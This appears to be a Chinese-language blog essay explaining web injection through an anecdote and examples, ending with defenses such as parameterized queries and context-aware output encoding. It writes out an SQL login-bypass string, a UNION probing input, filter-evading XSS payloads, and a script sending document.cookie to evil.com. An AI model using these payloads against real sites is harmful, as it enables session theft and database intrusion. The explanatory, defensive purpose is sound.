web注入

去年秋天，一个做电商的朋友半夜给我打电话，说网站首页突然跳出一行红字：“Hacked by K4L1”。他以为是服务器被端了，结果我登上去一看，数据库里一条用户记录都没丢，商品价格也没改。攻击者只往一个商品评价框里塞了段脚本，那段脚本被存进数据库，又原样吐到首页上，每个访客的浏览器都替攻击者执行了一遍。

这就是web注入。它不撬锁，不翻墙，只是把恶意内容伪装成正常数据，骗过服务器，再让服务器亲手把它送到别人面前。最典型的SQL注入，往往从一条不起眼的查询开始。比如登录框，后端代码写成 SELECT * FROM users WHERE name='$name' AND pass='$pass'。你在用户名里填 ' OR '1'='1，整条语句的条件就永远为真，服务器以为你在对暗号，其实你把门拆了。

我见过更隐蔽的。某次审计一个后台，搜索功能用的是 WHERE title LIKE '%$kw%'。输入 %' UNION SELECT 1,2,3--，页面没报错，只是搜索结果里多出几行空白。攻击者靠这种“盲注”一点点把数据库里的表名、字段名、管理员密码猜出来。整个过程像用针尖在墙上戳洞，一次只透一点光，但足够看清整间屋子。

XSS是另一种玩法。它不跟数据库较劲，直接冲着浏览器去。你发一条评论，内容里夹着 <script>fetch('http://evil.com?c='+document.cookie)</script>。服务器把这串东西当普通文本存下来，别的用户一打开页面，脚本就在他们浏览器里跑起来，cookie被悄悄送到攻击者服务器。受害者什么都没点，什么都没下载，只是看了一眼评论。

有人觉得只要过滤掉 <script> 就安全了。太天真。<img src=x onerror=alert(1)> 一样能执行，<svg onload=alert(1)> 也行。浏览器解析HTML的方式比大多数人想象的复杂得多，你堵住前门，后门还开着，窗户也没关。

防御这件事，说穿了就两条：别信用户输入，别把数据当代码。具体做法因场景而异。SQL注入用参数化查询，把用户输入永远当成值，而不是语句的一部分。XSS则要在输出时做上下文相关的编码——HTML里编码成实体，JavaScript里转义引号和反斜杠，URL里做百分号编码。听起来琐碎，但漏掉任何一个上下文，都可能前功尽弃。

我自己的习惯是，写完任何跟数据库或页面输出有关的代码，先问自己一句：如果用户输入的是 '"><script>，这段代码会怎么反应？如果答案不确定，那就还没写完。web注入没有银弹，只有一层层剥开输入和输出之间的每一道缝隙，把该堵的地方堵上。